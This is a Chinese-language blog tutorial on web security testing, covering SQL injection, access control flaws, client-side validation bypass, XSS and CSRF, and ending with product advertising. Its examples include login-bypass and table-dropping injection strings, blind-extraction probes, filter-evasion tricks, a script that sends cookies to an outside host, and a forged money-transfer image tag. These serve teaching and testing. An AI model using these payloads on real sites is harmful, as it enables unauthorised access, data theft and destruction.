雲智慧 汪曉宇
安全測試是在IT軟件產品的生命週期中，特別是產品開發基本完成到發佈階段，對產品進行檢驗以驗證產品符合安全需求定義和產品質量標準的過程。一句話總結，安全測試就是檢查產品是否滿足安全需求的過程。
衆所周知軟件測試分爲四大類型，分別是：功能測試、自動化測試、安全測試和性能測試，而安全測試是在功能測試和自動化測試之後，性能測試之前執行的，以免安全測試後修改的一些問題會影響性能。
安全測試的內容通常包括跳過權限驗證、修改提交的請求信息等等，複雜一些的產品還要進行SQL注入，跨站點腳本之類的測試，下面我們來看看安全問題對於互聯網產品的威脅。
SQL注入
由於程序員的水平及工作經驗參差不齊，相當一大部分程序員在編寫程序的時候對用戶輸入數據的合法性沒有進行判斷，就給應用程序帶來一定的安全隱患，用戶可以通過提交一段數據庫查詢代碼，在得到的結果中分析出他想要的數據，這就是所謂的SQL Injection，即SQL注入。
對於一個產品或網站來說，如果缺少安全性測試，***者可能會通過SQL盲注等方法直接暴庫（獲取所有的數據庫）或是獲取當前項目所使用的數據庫名稱、Web應用使用的賬戶、表、表結構、字段名甚至數據庫中存儲的數據內容等，這就是爲什麼我們的底層連接數據庫代碼要用一些防SQL注入技術的原因了。
SQL注入是從正常的WWW端口訪問，而且表面看起來跟一般的Web頁面訪問沒什麼區別，所以目前市面的防火牆都不會對SQL注入發出警報，如果管理員沒查看服務器日誌的習慣，可能被***很長時間都不會發覺。
展示一個最基本的漏洞：
某個系統登錄頁面，按照如圖方式輸入用戶面密碼後點擊登錄，結果登錄成功了，爲什麼呢？
登錄模塊的經典SQL爲：
select id from user where uname=’+ username + ’and pwd=’+ password+’
假如用戶名爲admin，密碼爲123456的用戶登錄該系統，那麼登錄時所產生的SQL語句如下:
select id from user where uname=’admin’and pwd=’123456’
而如果照圖中的所示惡意輸入的話，該SQL就變成如下所示：
select id from user where uname='admin'and pwd=''or'1=1'
或者來個更簡單的直接把用戶名輸入成：admin‘—
這樣就以管理員的方式登錄進去了或者以uname用戶成功登錄，對於SQL解析器來說，這是一個可以被解析並且可以被執行的SQL語句。
我們知道mysql代碼的註釋是用—來表示的，若我們變一下上面的SQL語句：
select id from user where uname=''or'1=1';drop table user ;--'and pwd=''
如上紅色部分是我們的輸入，這樣我們的SQL仍然可以被正確解析，導致user表被刪除（如果有刪除表權限的話）；如果沒有刪除表權限的話也沒關係，我們可以用delete from user刪除整張表的數據來代替刪除整張表的效果。
當然，根據SQL需要的參數類型不同，所需的注入參數類型也不同，一般判斷某一參數點是否存在SQL注入的話可以用如下兩種方式：
1. 在參數後面直接加‘來觀察是不是報錯，如果發現數據庫報內部錯誤，則可以斷定有SQL注入的問題。
2. 如果參數類型是int型，可以用and 1=1；and 1=2來判斷，如果and 1=1可以搜索出來，而and 1=2搜索出來的結果爲null或報錯，那麼我們認識存在SQL注入漏洞，因爲如果and 1=1和and 1=2沒有被打入系統的話，兩個返回值應該與原始值一致，如果兩個都被完全當做字符打入系統兩個返回值應該都是空，如下圖1；對於String類型來說，我們可以用’and ‘1’=’1以及 ‘and ‘1’=’2來的判斷，如下圖2，道理與int類型一樣。如果是搜索型參數的話可以用‘and’%’來注入，如下圖3.根據實際遇到的情況不同需要有意識的去分析需要注入的參數，從而得到注入語句。
確定了SQL注入漏洞的存在，作爲測試人員可以將這個漏洞報給開發人員進行修復，但作爲安全愛好者我們可以做的更多。最基本的方式是使用簡單的SQL 語句去猜解表名及字段名，確認表名的方法可以用and true ，and false 的方式來判斷，如：and （select count(*) from user）>0 返回爲空 證明user表存在，返回與原始頁面一致，則證明不存在；還有確認字段的方法，如：and (select count(username) from user)>0；我們來重點說說確認字段值的方法，這塊挺好玩的。
咱們以字符型來舉個例子，假如有username字段，首先你要知道字段值的長度是多少，用如下語句：
and (select length(username) from users where id=1)=1~10
其次，需要找出每一位上面的字母（a-z A-z 0-9）
and substr ((select usernname from users where id=1),1,1)='a'--'z'
當然也可以用ASCII的方法：
and (select ASCII(substr (username,1,1)) from users where id=1)=0~128
來看個實例：
1. 先獲取長度，通過burpsuite工具攔截有sql注入的請求，對圖中高亮處進行參數化，獲取到的name字段值長度爲4；
2. 再對應獲取name字段值的每一位，然後分別把獲取到的每一位對應ASCll碼中的值（參數化時是0~128）找出來就可以了。
字符的方式參數化時a~z A~Z 0~9，設置這些就可以了。
有時候開發人員會有意識的執行某種輸入過濾以防止***者輸入如’.selecet等字符，下面來看下怎麼避開過了字符：
3. 使用ASCII碼動態構建替代，如在輸入中單引號被屏蔽，我們可以嘗試使用字符的ASCII碼代替：CHAR (39)。
4. 如果select關鍵字被屏蔽，嘗試使用URL hex編碼：
%00SELECT
%53%45%4c%45%43%54
有些開發人員可能會過濾Select、Update、Delete這些關鍵字，但偏偏忘記區分大小寫，大家可以用selecT這樣嘗試一下。在猜不到字段名時，不妨看看網站上的表單，一般爲了方便字段名都與表單的輸入框取相同的名字。
特別注意：地址欄的+號傳入程序後解釋爲空格，%2B解釋爲+號，%25解釋爲%號，還有就是用Get方法注入時，IIS、Apache等Web服務器會記錄你提交的所有字符串，而對Post方法則不做記錄，所以能用 Post的網址儘量不用Get。
不過使用透視寶產品的同學就不用有此顧慮啦，因爲透視寶底層連接數據庫的代碼已經用了一些防SQL注入的技術，大可放心使用！
權限控制的危害
接下來說說權限控制，權限就好像公司的門禁，只有帶了門禁卡的同學纔可以隨便進出，而沒有門禁的人雖然可以出去，但是安全的公司只能讓裏面的同學開門或別人刷卡才允許進來，這就是最簡單的權限。如果少了安全性的保障，那麼就會有一些人跳過權限去做一些他們不該做的事情。
舉個簡單的例子，一個登陸模塊只有輸入註冊過的用戶名密碼才能登錄成功，然後我們就老老實實的輸入我們自己註冊過的用戶名密碼（如[email protected] /123 )，然後就可以登陸成功了。然而假如我們輸入一個不存在的用戶名呢？
先來看個SQL，登錄模塊到數據庫對比用的是如下SQL：
select count(*) from user where uname="[email protected]" and pwd=“123”
當然實際應用中的SQL會比這個複雜的多，若在SQL後邊加一些特殊的字符串‘ or '1=1其結果會是什麼樣呢？
select count(*) from user where uname=" [email protected] " and pwd=“” or "1=1"
我們成功的繞過登錄權限認證了……說好的只有註冊過的用戶才能登錄的呢？！……感覺再也不相信愛了有木有……
訪問控制大體可以分爲三大類：垂直訪問控制、水平訪問控制和上下文相關訪問控制。如果想證明一個電商系統沒有權限問題，需要驗證以下幾點：
第一， 登錄是否可以不經授權，也就是說有些請求本來是需要登錄後才能訪問的請求，結果在沒有登錄的情況下直接訪問該請求時也能訪問成功；
第二， 有無越權問題，比如普通用戶是否可以訪問只有管理員用戶才能訪問的請求，如果可以說明存在越權的安全漏洞；
第三， 如用戶A和用戶B同屬於普通用戶，每個人的訪問請求差不多，但顯示的內容會不一樣，這時可以看看B是否能看到只有A纔有權限看的內容；
第四， 有些功能需要分段操作才能成功，例如找回密碼功能，要先輸入用戶賬號，再通過回答各種密保問題，最後才能到獲取密碼，這時候如果某一步沒有做好權限控制，就可能導致應用忽略之前的驗證結果而直接執行當前階段問題；
第五， 基於Referer消息頭的訪問控制，嘗試執行一些獲得授權的特權操作,並提交一個缺少 Referer消息頭或其被修改的請求，如果這種改變導致應用程序阻止請求，應用程序很可能以不安全的方式使用Referer消息頭。這樣繼續嘗試使用一個未通過驗證的用戶賬戶執行相同操作，但提交原始的Referer消息頭，確認系統是否能夠成功執行該操作，有可能獲取管理員權限。
接下來說說修改提交數據內容，比如我們上某寶買一個腎8，需要支付金額10000 RMB，支付的時候通過工具攔截支付請求，修改金額爲1 RMB ，提交後發現竟然支付成功了。OMG！喜歡蘋果的小朋友再也不用擔心自己的腎了，哈哈。這些都是因爲代碼裏只在前端做了驗證，而後端沒有做二次驗證所導致的漏洞，透視寶產品幾乎所有的驗證都是在後端做驗證，所以壓根就不用擔心會出現客戶端繞過的漏洞啦。
跨站腳本的安全隱患
最後簡單說說跨站腳本的安全隱患，跨站腳本***(Cross Site Scripting，簡稱XSS)是一種經常出現在Web應用中的計算機安全漏洞，它允許惡意Web用戶將代碼植入到提供給其它用戶使用的頁面中，用戶在觀看網頁時惡意腳本就會執行。這類***通過注入 HTML或js等腳本發動，***成功後***者可以得到私密網頁內容和Cookies等，最近幾年XSS***已經成爲最流行的Web***方式。
XSS主要分成三大類：
1. 反射式 XSS：不存儲到數據庫中，直接通過頁面302跳轉顯示到頁面的，僅在頁面上及時顯示惡意腳本，測試方法是<script>alert('xss') ;</script>、<script>alert(doucument.cookie) ;</script>；
2. 存儲式 XSS：存儲到數據庫中，然後從數據庫中讀取出來顯示到頁面上；
3. 基於DOM的XSS：不保存到數據庫也不與後臺發生請求關係，只在dom或js上。
XSS的危害包括盜取各類用戶帳號（機器登錄帳號、用戶網銀帳號、各類管理員帳號），控制數據（包括讀取、篡改、添加、刪除企業敏感數據的能力），盜竊企業重要的具有商業價值的資料，非法轉賬，強制發送網站掛馬，控制受害者機器向其它網站發起***等……
舉個存儲式XSS漏洞的例子，在一個交友網站上有人在個人信息裏寫了一段腳本，如：
<script>window.open(http://www.mysite.com?yourcookie =document.cookie)</script>
而該網站沒有對該段內容進行正確編碼，那麼網站其他用戶看到這個用戶信息頁時，就會將當前的cookie提交到該用戶的web站點上。
關於xss漏洞的資料大家自己可以在網上搜索瞭解，我這了就不仔細描述啦~
CSRF跨站請求僞造
既然說到XSS，那麼順便把CSRF也簡單說下吧，CSRF（Cross-site Request Forgery）是跨站請求僞造的意思，也被稱爲“one click attack”或者session riding，通常縮寫爲CSRF 或者XSRF, 是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS)，但它與 XSS 非常不同，並且***方式幾乎相左。
XSS 利用站點內的信任用戶(受害者)，而CSRF 通過僞裝來自受信任用戶的請求來利用受信任的網站，通過社會工程學的手段(如通過電子郵件發送一個鏈接) 來蠱惑受害者進行一些敏感性的操作，如修改密碼、修改E-mail、轉賬等，而受害者還不知道他已經中招。
CSRF 的破壞力依賴於受害者的權限，如果受害者只是個普通的用戶, 則一個成功的CSRF ***會危害用戶的個人數據以及一些功能；如果受害者具有管理員權限，則一個成功的CSRF***甚至會威脅到整個網站的安全。與XSS ***相比，CSRF ***往往不太流行(因此對其進行防範的資源也相當稀少)和難以防範，故被認爲是比XSS更具危險性的，所以CSRF在業內有個響噹噹的名字——沉睡的巨人。
舉個典型的CSRF例子：
Alice 登錄了某金融網站mybank.com準備進行網上支付，Bob 知道這個金融網站並且意識到這個站點的轉賬功能有 CSRF 漏洞，於是Bob在myblog.com上發表了一條日誌，這個日誌支持 img 自定義功能，Bob 插入了這麼一行HTML 代碼：
<imgsrc=http://mybank.com/transferMoney.jsp?to=Bob&cash=3000 width="1" height="1" border="0" />
Alice 在自己的瀏覽器上打開了另一個標籤頁正好讀到這個頁面，於是Alice 的賬戶就不知不覺地向Bob 的賬戶轉賬3000 元，而她卻毫不知情。
本次分享就先到這裏吧，只是啓蒙下，詳細的過程以後有機會再給大家一一介紹，謝謝~
雲智慧是業務運維解決方案服務商，旗下產品監控寶（www.jiankongbao.com）、透視寶（www.toushibao.com）、壓測寶（www.yacebao.com），已累計爲電商、移動互聯網、廣告傳媒、在線遊戲、教育醫療、金融證券、政企等行業的幾十萬用戶提供了一站式的應用性能監控、管理及測試服務。